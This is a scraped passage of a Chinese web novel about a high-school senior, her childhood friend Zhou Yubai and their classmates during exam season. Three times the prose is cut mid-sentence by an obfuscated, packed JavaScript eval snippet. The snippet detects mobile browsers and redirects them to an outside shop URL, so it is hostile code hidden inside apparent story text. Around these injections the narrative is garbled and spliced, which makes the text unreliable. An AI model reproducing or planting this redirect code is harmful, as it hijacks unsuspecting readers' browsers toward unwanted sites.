余伟欲哭无泪,抱着一大摞卷子去找周聿白告状,声泪俱下的说小分队的其他三个人是怎么欺负他的,又是不给他卷子抄,又是坑他的钱,委屈啊,心灰意冷啊,情义比纸薄啊。周聿白刚开始还在玩手机,听得烦了,翻出耳机戴,余伟一看嚎得更大声了,周聿白扫他一眼。 余伟立马闭上嘴巴。 周聿白叹气,认命地拿出一支笔帮他抄理综,“下不为例。” “聿哥我为你当牛做马。” “你干嘛答应他啊,平时对我你怎么耳根子就没软过?”岁淮郁闷地走过来。 周聿白忙着抄题,头没抬地笑了下,“平时对你耳根子软的次数还少了?岁岁,咱讲点良心。” 岁淮撇嘴,拉开周聿白旁边的座位坐下来,抽出两张卷子就要帮着抄,余伟吓得一把摁住:“别!岁淮你给我手下留情,五十一张我真抄不起。” “不要钱,免费。” “……真的?” “再多说一个字我就不让周聿白帮你抄了。” 余伟做出一个拉链封嘴的姿势,笑得狗腿。 忙忙碌碌一个早晨,总算是帮余伟把十几张卷子抄完了,岁淮累得手酸,甩了甩,“余伟。” “在。” “欠我一个人情啊。” “那是那是,”余伟给周聿白和岁淮一人一根阿尔卑斯,拍着胸脯说,“以后找到赚钱路子第一个孝敬您老人家。” 岁淮拆了棒棒糖塞嘴里,看了两眼忙地团团转的章盈,“盈盈忙得要起飞了,你也不去帮帮你女神?” “马上!” 章盈桌上堆满卷子,乱七八糟漫天飞,她险些炸毛。余伟立马屁颠屁颠地跑去献殷勤,点头哈腰的:“盈盈我帮你!” 章盈真要哭了,“那你要多帮一下我。” 余伟最看不得章盈委屈的样子,心疼的不行,挺直腰,恨不得下油锅彰显自己的士气:“盈盈你放心,有我呢!” “呜呜呜余伟你真好。” 余伟这傻孩子尾巴都要翘上天了。 另一边的程清池也忙得不相上下,不过他那人沉稳内敛,做事井然有序。其实最开始数学课代表还是周聿白,不过那会儿总有些女孩子借着问题目交作业的由头跟他说话,说就说吧,还拉拉扯扯,有回被巡查的教导主任看见了,那骂的叫一个狗血淋头,周聿白平白无故手写了一万字的检讨,之后他就主动辞了。数学老师也不是个不讲理的人,换了班上跟周聿白数学成绩差不多的程清池做课代表。 三人小分队里,章盈余伟和程清池忙得像陀螺,岁淮和周聿白隔空对视一眼,乐得自在。 岁淮挑了下眉,用口型问:“出去透气?” 周聿白放下手里的笔,合起书,跟岁淮一起从教室后门出去。 两个人去了小卖部,买了点零食,岁淮在前面拆了袋巧克力吃,周聿白在后面拎着零食袋走着。路过的学生朝他俩投来几道眼神,再无甚波澜地收回,一中几乎人人都知道岁淮和周聿白的关系,一个家里住着,青梅竹马,所以没人会觉得这俩人暧昧的像谈恋爱。 有时候老师撞见了也没什么反应。 对一中的师生来说。 周聿白和岁淮就是一对没血缘关系的兄妹。 今天但凡把岁淮换成别的女孩,都能在一中传出些浪来,必定是理科(7)班的周聿白终于铁树开花啦,想上的姐妹们,快冲! 岁淮:“你说老班收那些卷子真的会一张一张检查吗?” “不会。” “那他收起来干嘛?” 周聿白从兜里拿出手,指了下男寝室后墙那块的三辆大货车,几个赤着胳膊的男人正把几箱东西往车上搬,积了灰的箱子掉出一本书来,“看见了吗?” “什么?” “卖钱啊,一斤书几块,”周聿白都把自己说笑了,“咱们老班赚钱的法子不比咱俩少。” “……” - 周聿白和岁淮回教室的时候,作业已经收的差不多了。 班主任从办公室里风风火火地过来,蓝色衬衫配黑色西装裤,脸上架着一副黑镜框,典型的高中男班主任的样子。见到岁淮和周聿白拎着一袋零食在外面晃悠,啧了啧,“像什么样子!” 周聿白:“老师好。” 岁淮笑嘻嘻:“老班好!” “好什么好,要上课的点还在外面乱晃,周聿白你也跟着岁淮学坏。”徐晋桦假模假样地骂两句,摆摆手,“回教室坐着,马上来换位置。” 岁淮: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13252548|139675||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “一般不是开学考试根据成绩换吗?” “高三没升学考试,你还当跟高二一样逍遥快活呢,还给你敲个警钟。高三只有模考月考还有平时的周考。”徐晋桦手上卷着一摞草稿纸,敲了敲手掌心,“不过没有开学考试,你们也别以为就能把开学这一个星期混过去,半个月之后就是全市统考,到时候你们谁暑假偷懒谁暑假弯道超车,我倒要好好看看。” 徐晋桦走前门进了教室。 岁淮和周聿白从后门进,岁淮悄悄说了句:“咱老班一看暑假伙食就很好。” 周聿白看了她一眼。 “笨。”岁淮两只手在自己肚子前边画了个弧,“放假前他啤酒肚哪有这么大。” 周聿白明白地“哦”了声,脚步慢慢悠悠的,在教室后门把零食给了岁淮,冷不丁问一句:“老班说的全市统考,怎么想的。” “能怎么想,不是还有半个月吗?”岁淮从袋子里倒出最后两颗巧克力,一个给周聿白,他摇了下头示意不吃,岁淮懒得跟他掰扯直接塞他手里,最后一个自己吃了,甜腻的巧克力香在口腔中弥漫,“再说,我暑假也没偷懒好吧,一百多张卷子,我全部都认真做完了。在魔鬼的监督之下。” 周魔鬼笑了下,“行吧。” 然后一只手把巧克力扔进嘴里,咯嘣一声咬碎,手重新揣回兜里,走回自己的位置坐下。 徐晋桦这人特极端,最爱把“光阴如梭”几个大字挂在嘴边,灌你鸡汤的时候又愿意浪费一节课。 这学期倒是转了性子,雷厉风行。 一节课的时间还没过去,七班全部学生都换了座。 没有了根据开学考试成绩选座位的说法,这就意味着小分队会被拆散。之前座位这事儿徐晋桦还是挺人性的,不信奉什么“男女绝对不能同桌”的毒瘤说法,主要是把“成绩帮扶”放在第一位,根据实际情况来安排。周聿白和程清池是老师重点培养对象,一直是同桌,没变过,以前岁淮提出想跟周聿白一桌被徐晋桦无情驳回,理由是怕她把周聿白带坏。后来周聿白和程清池在教室里面的第一排,章盈在第二组的第一排,岁淮和余伟一桌,第一组的第三排,小分队几个人离得很近的。 这回徐晋桦好像被毒瘤思想侵袭了,严格遵守男女不同桌的想法,而且因为高三最后一年,没有什么帮扶同学的说法了,都是自己冲刺,小分队被拆的七零八碎。 周聿白和程清池两个国宝级别的存在,位置照旧,第一排。 章盈换到了第一组靠中间的位置,同桌从一个男生变成了女生。 余伟跟岁淮像是发配边疆,被安排在靠走廊的最外围一组,余伟倒二,岁淮中间。 跟周聿白他们可谓是天涯海角。 中午吃饭的时间,余伟趴在后门的窗户开始嚎了:“老徐什么意思啊,把我一个人放在犄角旮旯里。” 岁淮:“我比你没好多少。” “咱俩犯了什么罪了?” “老班这回是顾全大局的安排,这么坐肯定有他的道理。想换位置等到考试后吧。” “那得等到什么时候?” 程清池站得笔直,望着走外的樟树出神,整个人清凌凌的。半晌转回头,难得开一次口:“半个月后,全市统考。” 九月流火,真正的高三生活开始了。 11. 湿淋淋 开学第一天林姨就回了别墅,负责照顾两个孩子的日常起居。门口的白地毯按照岁淮的意思换成了耐脏的深灰色,客厅和书房添置了不少稀奇古怪的小物件,还换了新的桌布和窗帘,别墅里总算多了点人气。 墙壁上还挂了个老物件。 是昨晚岁淮拆的新快递,周聿白后来挂到了墙上。一个深褐色的古钟,还带点红棕,像是清朝年间老古董的高仿,不知道岁淮从哪里淘来的,摆在客厅里倒也不突兀。林姨看着两个孩子围着古钟聊天聊地,心里直乐呵。 早晨,岁淮和周聿白是六点起的,学校早读时间规定在七点。林姨早早起床做了双份的早餐,还打包了一份水果给两人带到学校里吃。 走前,林姨问俩小孩:“晚自习几点下课啊?” “十点半,比高二多了一个半小时。” “下了课就回来啊。” “知道啦,我跟周聿白走啦,林姨拜拜。”岁淮托着周聿白出门,两人共撑着同一把遮阳伞,坐车离开。 周家的车停在学校外的一条街。 对面是公交车站,再往后是鼎鼎有名的小芳理发店。 别看人家名字俗气,在这条街那可是响当当的名号,谁剪了个帅气或好看的发型,指定出自老板娘小芳之手,比那些在几平米的破店面里拿着对讲机的lucy啦jack啦的理发师好了几百倍。更别说老板娘小芳漂亮着呢,人家是豆腐西施,她是发廊西施,四十岁的年纪潮流时尚,之前一中有个大龄未婚的男老师出来抓上网的学生,刚巧一眼看见了小芳,哦豁,这一眼就是万年啊,沦陷了。听说追了一学期,老板娘小芳还没给个答复,人家没结婚的心思。 岁淮下了车,习惯地朝理发店看了眼,生意红火。 一转头,周聿白也在看那边。 老板娘小芳刚巧出来倒垃圾,朝这边扫过来一样,红唇一弯,笑得明艳动人。 岁淮拿手挡住周聿白的视线:“不许看。” 周聿白把她手拿下来,“想什么呢。” 他抬了抬下巴,往街头一指。 远处几道身影从公交车上下来,章盈跑在第一个,余伟追在第二个。程清池戴着耳机,捧着一本书不慌不忙地走在最后,看见周聿白和岁淮,点了个头。 “岁岁!”章盈一把抱住岁淮,手欠地拨了拨岁淮的高马尾,“girl你好靓啊,我刚在车上大老远看见你和周聿白觉得你俩好像一对!特别养眼!” 岁淮一僵。 余伟:“你俩穿得特像情侣。” 岁淮不留痕迹地瞥了眼周聿白,人站着,背往后靠,一个肩膀松松垮垮地挎着书包。程清池在他旁边,取下一只耳机,周聿白说了几个岁淮没听过的专业词汇,程清池恍然大悟地“哦”了声,拿着书的手抬了抬,一行字映入岁淮的眼——梦的解析。 《梦的解析》,弗洛伊德所写,一部心理学著作。 周聿白对这个感兴趣不奇怪,他那个人就是天马行空,各种别人听说过的没听说过的、见过的没见过的他都知道一点,简直就是行走的小百科。以前岁淮就见过周聿白看犯罪心理学方面的书,什么《FBI侧写》、《变态心理学》、《天才在左疯子在右》……没想到程清池也喜欢。 不过想想也对,这两人要是气场合不来,也成不了死党。 在岁淮看来,程清池其实比周聿白还要清冷许多,话少,疏淡,内敛,这样一个男孩子好像天生就干净得他的世界里只有书籍和学习。 两个人聊到一个点,丝毫没被这边章盈和余伟的话影响,岁淮乱跳的心脏慢慢平静下来,“哪里像了,不就是校服,你们不也穿了。” “不一样,你俩站一起有校园青春剧的氛围感。”章盈说完瞄了眼余伟,眼白一翻,“谁像他啊,好好的白色校服画些乱七八糟的东西,丑死了。” 余伟为自己正名:“这叫男人的勋章好吧!” “狗屁。” “盈盈你凶我。” 岁淮听两人一来一去的斗嘴,看热闹不嫌事大,还打算拱火两句,肩膀突然一重。周聿白身子朝她这边靠过来,夏季的短袖露出胳膊,两个人直接肉贴肉,这个动作太亲昵了,太微妙了。 这是一种别样的触感,黏腻,细密,摩擦,还有他的体温。 像一股细微的电流从皮肤渗进骨子里。 岁淮整个人一瞬间僵住,始作俑者却浑然未觉。周聿白低着头笑了几声,懒洋洋的劲儿叫人恨不得钻进他心里,狠狠扒开,看是不是骨子里也这么散漫,自己勾的别人脸红心跳、手脚都不知道怎么放,他倒好,云淡风轻笑得跟个混球没两样。 周聿白:“我说,你俩真没谈还是假没谈?” 章盈和余伟双双怔住,一个咳嗽不吱声,一个眼巴巴地看着恨不得当场挣个名分过来。 “伟哥,”周聿白淡笑地拍了拍他的肩,“任重道远啊。” 余伟立马炸毛:“都说了别叫这称呼,跟大力丸似的。” “你长得也不差,章盈怎么就不答应你?” “周聿白你给爷爷我注意措辞,我余伟何止是长得不差,帅呆了好吧。”余伟长的阳光帅气,身高腿也长,说起来还真长得不差,就是那张嘴太贱,时常叽叽歪歪叫人想捶他。提到章盈不答应这事儿,满腔的气势一戳就瘪,挠了挠脑袋,“她说她爸妈不允许她早恋,那事儿高考后再聊。我寻思着是这么个理,就答应了。” 周聿白:“你还挺有原则。” 余伟:“那当然了!我可是一心为女神着想的伟大追求者!不过我真挺好奇的,你跟清池这样的,到底有没有喜欢的姑娘啊?” 周聿白把书包往后拨,转了转手机,把战火往程清池身上引,“清池肯定有,你问他。” 飞来横祸,程清池不予搭理。 余伟欠了吧唧地笑:“程清池同学,请问你有中意的妹子吗?” 程清池无奈地看了眼周聿白,半晌继续看书:“无聊。” 一个情绪特别稳定的人被你说得急眼儿,这种欠打又上瘾的事情,余伟常常做,还拉着周聿白一起,时间久了,两个人还真发现这事儿的趣味性,尤其是看程清池一本正经又无可奈何地说“无聊”俩字的时候,就特好笑。周聿白和余伟这会儿就笑得不行,还学程清池那语气,一口一个“无聊”。 然后程清池又板着脸说了句“无聊”。 两个人笑得更猖狂了。 少年人放肆张扬的笑声回荡在安怀市的夏天。 只有岁淮还在想着那个问题。 周聿白有没有中意的姑娘。 要是有。 那个姑娘姓岁就好了。 - 高三紧张又繁忙。 面临着即将到来的全市统考,一中全体师生都很重视,这是打响高考的第一战。 理科(7)班整体的学习氛围都比之前严肃不少,上课聚精会神的听,下课也没几个学生说话,尤其是小分队被拆的东西南北,一天下来岁淮就跟隔了几排的余伟说了两句。 一句是“余猪猪咱俩今天值日”。 另一句是“你别想逃”。 周聿白在学校跟家里是两个完全不同的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13252549|139675||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 状态,家里老大爷似的靠在沙发上,看着纪录片,时不时跟岁淮淘个老电影的碟片,谈天南地北山高海阔。学校里就不一样了,周聿白是一个很有纪律的人,桌面永远放着一沓试卷和一个计时器,上课能一心两用地边听课边做题,下了课降噪耳机一戴,计时器一按,与世隔绝。 周聿白也没那些尖子生身上的臭毛病,俗称自大和自恋。重点中学的尖子生实打实的聪明,难免几分傲气,谁从身边经过都要啧一声,生怕谁不知道他在学习似的,老师喊去办公室也要三催四请拿着鼻孔看人。周聿白优秀就优秀在这里,他教养好,对谁都一个态度,礼貌谦逊,但也不热络,有那个分寸隔绝着,你瞧不出这人有多好,也说不出这人有几分坏,更别提拿不拿捏得住。 旁边的程清池与他不相上下,腰背挺直地做题,两人的交流仅限于—— “修正带。” “拿。” “草稿纸?” “我有。” “这题答案有点复杂。” “我有更快的。” 章盈也在埋头苦干地刷题,岁淮看过去时,她正抽空递给同桌一支铅笔。 到了高三,好像每个人都上了高考这辆车,变得忙碌。 这样的快节奏一直持续到晚自习放学。 回到别墅这种压抑感才散去不少。 林姨做了雪梨银耳汤,一人一小碗,清热解暑。 岁淮是洗完澡下楼喝的,敷着面膜,咬着吸管小口小口地抿着。 周聿白还没洗澡,看样子刚刚结束刷题,脸色稍许疲倦,笑骂了句:“蜗牛。” “蜗牛比我轻松好吧,刷一天题,手都废了。” “怎么样?” 岁淮敷着面膜说话不清楚,“就那样呗。会就对,不会就错。” “哪科?”周聿白走到餐桌边喝汤。 “老样子,理综。”岁淮揭了面膜扔进垃圾桶,到一楼浴室洗脸,刚弯下腰,绑在脑后的头发一溜儿地散开挡住脸,双颊还残留着未干的面膜精华液,黏腻腻的,沾了不少头发丝。 她啧了声,“麻烦。” 岁淮刚站直,隔着朦胧的发丝,看着眼前镜子里折射的一幕。 夏夜灯火稀落。 少年单手撑着桌面,举起手机,屏幕折射的白光独将他一个人照的熠熠。周聿白的长相是偏冷隽锋利的,不知道看到什么好笑的短视频,唇角不深不浅地勾了勾。 岁淮就是在那刻忽然涌上占有欲的。 头发湿淋淋,整颗心也变得湿淋淋。 她鬼使神差地开口:“周聿白,过来一下。” 岁淮弓着身子,任由头发散落下来,挡住她的眼睛。耳朵如同装了雷达,精准定位由远及近的脚步声,他在慢慢靠近。等到身后时,她闭上眼,“我头发散下来了,你帮我弄一下。” 一双手从颈后穿过。 黑顺的发丝在少年宽大的掌心里摊着,他合拢,捏住,淡声道:“好了。” 岁淮只觉脖颈处阵阵发麻。 她弯下腰,双手捧着凉水洗脸,驱散那被他碰触后打心底升上来的热意。 少年的手,轻缓而稳妥。 她好想牵住。 指尖接触的凉意浇醒她,岁淮拿过面巾擦脸,卷翘长睫上挂满水珠,晶莹剔透,睁开的眼眸格外莹亮,“谢了。” “客气。” 周聿白上了楼,“早点睡,晚安。” 岁淮目光从他的手心移向他的脸,笑了笑,“晚安。” 晚安。 我的,少年。 12. 统考 班主任徐晋桦是教数学的,讲课声情并茂。最好的一点就是不爱叫人回答问题,也不喜欢浮于表面流于形式的理论,路子很实际,课上多半是讲题。容易的,难的,容易掉坑的,甭管你会不会,他都要讲一遍。 岁淮就喜欢这样的老师。 亏得老徐讲课实在,她数学成绩一向不差。 两节数学课一眨眼就到了末尾,还有几分钟就打铃,岁淮支着下巴听得津津有味,一个小纸团砸她脑袋上,骨碌碌地滚到桌面。 她打开,就一行狗爬字。 我要喝可乐,大瓶的。——你余爹 死余伟。 他以为使唤谁呢,周聿白都没这个胆。 岁淮写了几个字,趁着老徐擦黑板的间隙,一个转身,纸团用力砸余伟脑袋上。 余伟贱兮兮地接住,一打开,岁淮只回了他两个字:有病? 余伟把纸条丢回去:小道消息,下节课体育。 岁淮:??? 纸条还没扔,徐晋桦把五三卷成个筒夹进胳膊肘里,“下节物理课改上体育,周五的体育上物理。” 话音将落,教室里爆发出稀稀拉拉的惊喜声,有人起哄:“老班,老葛是不是这会儿在医院抱上孩子了!” “公主还是王子?” “替我们恭喜老葛啊!” 老葛就是七班的物理老师,跟文科班的赵老师是夫妻,两人这些年忙于教育事业一直没要孩子,眼看着去年赵老师才刚怀上,老葛当即乐呵呵地全校宣扬老婆怀孕了。这不,十月怀胎,赶上今天生产,老葛这会儿还正在医院里抱孩子。 徐晋桦看一群小兔崽子,笑了笑,“公主。” 下面一阵激动。 “吼吼吼,老葛抱上小公主了!” “赵老师长得可好看了,又高又有气质,小公主指定也好看。” “说的哪话,老葛也很帅好不好?只是这些年钻研物理少了几根头发……” 徐晋桦:“去去去一群兔崽子。” 余伟:“老徐,老葛抱了小公主,咱们是不是得有喜糖吃啊。” 徐晋桦指了指余伟,“你小子就成天想七想八,还喜糖,”他抄起讲台的黑板擦,笑骂着,“暴栗加黑板擦吃不吃啊。” 学生唏嘘几秒,随后又听到徐晋桦笑说:“祝福我给你们带给物理老师,改天喜糖让他发。” “吼吼吼!” “老班万岁!” “老徐我爱你!” 徐晋桦哭笑不得地出了教室。 没了老班坐镇,教室里轰天喊地的,桌椅敲得比锣鼓响。 一改数日来的压抑。 “岁淮岁淮岁淮!”余伟在后面叫魂,岁淮火大地回头,果然看见他一边收拾书本离开桌子,一边贱嗖嗖地冲她笑,使唤跑腿似的,“我要大瓶可乐,周聿白苏打水,清池矿泉水,记得买啊!我去球场占位置了不然被人抢了!” 余伟一阵风般蹿出了教室。 岁淮:“……” 走到余伟的座位,岁淮泄愤地轻踢了两下他的凳子,暗骂狗东西。然后认命地看向章盈,隔着天涯海角朝最里叫了声名字:“盈盈!” “在!” “下节体育课,周聿白他们要打篮球,我们去给他们三个买水。” “来啦来啦……”章盈跑向岁淮,“走吧girl。” - 章盈和岁淮在小卖部耽搁了会儿,买水去操场的时候,那边已经开打了。 老远就能听见篮球碰撞球框的咚咚声,落地一下闷响,在地上弹跳几回,重新被人捞回手里。篮球以流畅的弧度在少年们的身影间来回周旋,期间挥着洋洋洒洒的汗水,统一着色的校服衬衫在此刻汇聚不同的色彩和味道,有的保守,有的张扬,有的坚守阵地敌我不侵,有的放肆进攻功亏一篑。 少年身上的那股韧劲儿隔着多远都能感受到。 岁淮一手拎着三瓶水,一手吃着巧乐兹冰淇淋,周身萦绕的都是浓郁的香芋味,“好帅。” “谁?咱们班那群打球的?”章盈吸溜着东北大板的奶糕。 “嗯,身上那股劲儿很烈。” “哦男人味,荷尔蒙是吧,”章盈见怪不怪,“要是一个两个把衣服撩起来擦汗,让我看看腹肌就更帅啦!”说着,她忽然撞了下岁淮的肩膀,眼里放光,“你有没有见过周聿白的腹肌,几块?” 岁淮淡定:“没见过。” “不信,你俩住一个家里,抬头不见低头见的,肯定见过!再说,周聿白把你当妹妹,又不跟防别的女生一样防你——”章盈戛然而止。 岁淮轻嗤了声。 最该防的就是她。 章盈突然激动不已:“我靠,有人给周聿白送水!” 岁淮拧眉看向操场。 盛夏的校园像一个油画调色盘,橙白相间的教学楼,金灿灿的太阳,绿色的操场,随风鼓动的白衬衫。一个身材高挑的女生站在周聿白面前,举着一瓶水。对面的人不动如山,抱着球,头垂着看脚尖,没说接,也没拒绝直接走人。 这样的一幕,恋爱氛围拉满。 怪不得整个球场都在起哄。 女生毫不在乎,她周身的气场将所有的一切屏蔽,她只说着她想说的话:“给你买的水。” “你不接没关系。” “因为你接不接其实对我来说不重要。你只需要知道,这瓶水是买给你的就好了。” 周聿白八风不动地盯着女生看。 没接,也没走,这副架势在外人看来像是有戏。 只有岁淮知道,周聿白在等人,等一个能把他从那种尴尬的境地解救出来的人。 周聿白教养很好,他从不给人脸色看,高兴就笑,没情绪的时候就淡着脸色,不说脏话,也没有一副“你向我告白我就比你高一等”的睥睨姿态。他很会掌握度,就像他那个人一向聪明会为别人考虑,知道今天这水要是接了明天他就得玩完儿,挨批检讨通报一条龙的罪等着他受,这要是直接冷着脸拒绝,明天就能传出“谁谁追周聿白被拒了、真是厚脸皮、心里没点逼数”的风言风语,他也落不得好,指定被冠上“沾花惹草”的渣男帽子。可周大少爷分明洁身自好,名声不能毁于一旦啊。 所以他在等岁淮。 而岁淮也总是在第一个福至心灵地懂他的想法和决定,可能是一个眼神,也可能是一句话,一个动作,一个语气词。隔着茫茫人海,岁淮念出那两个在心底反复咀嚼无数遍的字:“周聿白。” “我在这。” 少年。 你的我,在这。 周聿白漫不经心地侧头,扯了下唇角,不慌不忙:“嗯?” 岁淮配合他演戏,晃了晃手里的水,“过来喝水,渴死了我不管啊。” “渴不死。”周聿白对女生说了句抱歉,径直朝岁淮走来,自然地拿出一瓶苏打水,慢悠悠拧开瓶盖灌了口,说出下一句:“——你这不是来了嘛。” “再不来有的人就要有女朋友了,我来的不巧。” 周聿白:“咱们学校谈恋爱程序可不少,先叫到教导处训一遍,然后拎回办公室老班又训一遍,手写检讨一万字,挂在公告栏通报,得不偿失啊,”他又摇了下头,老神在在地叹气,“还是不谈比较好。” 岁淮看不惯他这狗样,打了下他,“神经病啊你。” 周聿白被她捶了下老实不少,抖着肩膀笑。 - 时间过得很快,转眼到了全市统考这天。 一中教学分布很严谨,高三有单独的教学楼,考试期间封闭铁门,严禁低年级的学生混进来。考试时间安排在周四周五,周四是语数两大主科,周五是理综和英语,严格遵守高考的顺序。 考场是按照上学期期末考试排名分布的。 岁淮成绩中等,排在第22考场。 比她往下一点的是余伟,在27考场。 章盈是优等生,比岁淮和余伟考场都前。 至于周聿白、程清池这俩货,都在顶楼那层考场,俗称神仙打架。 周五考完是在下午五点半。 考完学生直接离校,周末两天作为学生调整期,周一继续上课。 岁淮考完在七班教室走廊等人,考完试后有些疲倦地叼着一根阿尔卑斯,路过的同学跟她打招呼,她淡笑着给个回应。一直等到周聿白的身影从楼梯出现,眼睛才亮了一些,站直身子,把书包扔周聿白怀里,“下来的好慢。” “楼上人太多,在教室坐了会儿。”周聿白驾轻就熟地把岁淮书包背在侧肩,径直往楼下走,“等很久了?” “嗯,愧疚不?” “愧疚啊,让我想想得怎么弥补好。” “别想了,就现在,”岁淮咯嘣一声咬碎嘴里的棒棒糖, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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放学的时间早,家里的林姨打了个电话过来,说家里有事临时回去一趟,岁淮嘱咐她路上当心。林姨走了,别墅又是冷冷清清,岁淮跟周聿白打算在外面逛会儿再回去。 一逛就逛到了晚上。 九月天的夜晚,星星亮得一眨一眨的。 岁淮无聊地数星星,数到第199颗的时候,停在一家奶茶店门口。 店面边放着一张电视剧的剧照立牌,是她跟周聿白暑假一起追的那部丈夫杀妻的悬疑剧,暗黑深蓝的色剧照还贴在了奶茶杯上。 “周聿白,你看。” 周聿白跟着停下来,看了几眼立牌,“联名了。” “这部拍得还挺好看,”岁淮说,“要不我们买两杯吧。” 周聿白不懂剧好看跟买奶茶有什么关联,不过岁淮脑回路一直挺清奇,他没什么意见,“嗯”了声。 两个人正在街口等周家的车,这会儿距离下班高峰期没多久,路上堵车的不少,得留着一个人站在路口看着,不然周家司机到了鸣笛听不见。周聿白往路灯下走几步,“你去买,我在这等车。” “好,你别乱跑啊。”岁淮跟嘱咐小孩子似的。 店内。 岁淮点了两杯:“一杯椰奶,一杯芋圆。椰奶不要西米,也不要珍珠。” “好的。” 店员小妹去后厨做奶茶,几分钟的工夫出来,把奶茶递给岁淮的时候看了眼门外,“小姐姐,你男朋友好帅。” 岁淮怔了怔,还未反应,店员小妹又脸红地补了句:“当然你也很漂亮!你跟男朋友好配呀。” 岁淮握着奶茶的手指紧了紧,在谁也不认识谁的场合,她身体里忽然涌上来一股私心,她率先想的不是反驳,而是窃喜。 为一个莫须有的误会而沾沾自喜。 半晌,她低声而缓慢道:“……谢谢。” “不谢不谢,嘻嘻。”店员小妹这才注意到岁淮身上的校服,不免惊讶,“你们还是安怀一中的啊,学霸情侣,不过早恋要注意不要耽误学习呀。” 岁淮一个“好”字刚到嘴边,不知何时走过来的周聿白,嗓音听不出情绪地叫了声她的名字。 “岁淮。” 咯噔一声。 那一刻,岁淮好像感受到了濒死般的窒息。 13. 吻 一瞬间血液倒灌。 岁淮僵着身子,甚至不敢回头。她无法想象,身后的周聿白是什么样的脸色,冷淡不解,还是厌恶,避之不及。这样的一幕仅仅是出现在她的幻想中,已经比锋利的刀子捅进肉里还要疼。 所以下一秒周聿白略显疑问的两个字,将她一瞬间从地狱般的深海里拽了回来。 “岁岁?” 他没听到。 岁淮低着头,极致缺氧后想要大喘气的动作被她拼命制止住,刚这么一个小插曲不亚于她去在鬼门关跑了一圈回来,满头大汗。她把奶茶扔进周聿白怀里,还没缓过来的脸色看起来有些苍白,“没事,太热了。” “车在几米外。” “走吧走吧。” 两人出了奶茶店。 - 上了车,岁淮一路无话,缄默地周聿白差点以为自己惹她生气了,再三试探后依旧无果。 周聿白只能在岁淮下车时,拉了她一下,有些无奈:“祖宗,我怎么惹着你了?” “没有。” “脸板成这样还没有?”周聿白时刻都是理智的且清醒的,“你有什么不痛快的跟我说,我错了就跟你道歉,有什么问题我们可以沟通。” 岁淮看着周聿白担心的脸色,有些愧疚,明明他什么都没做,却要承受她没来由的脾气。她叹了口气,用手指顶了顶自己的嘴角,摆成微笑的形状,找了个像样的借口:“考试没考好。” 周聿白舒了口气:“然后呢。” 岁淮眼珠一转,“想喝酒。” “……” 周聿白拧眉,抱臂看她,“你认真的?” 不提还好,一提岁淮还真起劲儿了。章盈酒量特别大,暑假那会儿去撸串,一下子灌了两瓶啤酒就脸红了些,跟岁淮显摆喝酒特爽,很解郁气,让她也试试。当时岁淮心情不好,跟周聿白因为写不写试卷的小事闹了点矛盾,当晚就去超市买了瓶果酒,还没到家呢,就被下来散步的周聿白给逮到了,二话不说没收了她的酒,提溜着她的领子回家,冷着声:“你心里不爽骂我,打我都成,别拿自己身体开玩笑,这话我有没有跟你说过岁淮?真就把这话当耳旁风了,以为我不揍你是吧。” 岁淮跟他横:“你有本事就揍我。周聿白,是男人就揍我。” 周聿白盯着她看,看得人想认怂,等岁淮气焰下去了,周聿白倒是先低头认错的那个,“我话重说了我道歉,对不起,做不做试卷这事儿我以后都不勉强你行吗?这酒真不能喝。” 那会儿岁淮眼眶微微泛红,别过脑袋不看他。 周聿白揉了揉她脑袋,“哥错了,你乖点。” 之后喝酒这件事就被周聿白列入了“岁淮十大禁止黑名单”,就排在“禁止做游戏陪练”的上一个。 岁淮:“我想尝尝酒,不喝多,尝一点点总可以吧。” “不行。” “周聿白,你不让我喝,我这人很没原则的,没准儿我哪天就跟盈盈偷偷摸摸地喝了。” “威胁我?” 岁淮哼哼两声。 周聿白妥协,“就喝一点。” - 钟晴爱酒,钟家有不少名酒。 三楼有一层专门展览的酒柜,一橱窗都是来自世界各地的名贵红酒,钟晴回来的时候偶尔小酌两杯。 周聿白随手拿了一瓶,刚要拧开瓶盖,岁淮一把制止住:“你怎么动阿姨的酒?” “你不是想喝?” “我想喝也不能拆这么贵的酒啊,我们两个能喝多少,不糟蹋了。”岁淮把红酒小心翼翼地放回三楼的酒柜,转而从自己房间里偷摸着拿出来一瓶红酒,“喝我这个。” 周聿白冷着脸,“你到底偷买了几瓶?” “就这一瓶!我发誓!” 周聿白脸色好了点,拿过岁淮手上的酒,动作利落地撬开瓶盖,往两个杯子倒了一点点,“下次要让我发现你偷买酒,揍你,听到没岁淮?” “……哦。”岁淮看着刚没过杯底的酒,等了半天,周聿白也没继续倒,作势要把酒塞改回去,岁淮着了急,一把夺过来把两杯酒倒满,“小气鬼嘛你是,谁家喝酒喝这么点儿?就这么几滴你从杯底倒你嘴里都得沾在杯沿上。” 周聿白眼睁睁地看着岁淮倒满两杯。 “好了!” “你什么酒量?” 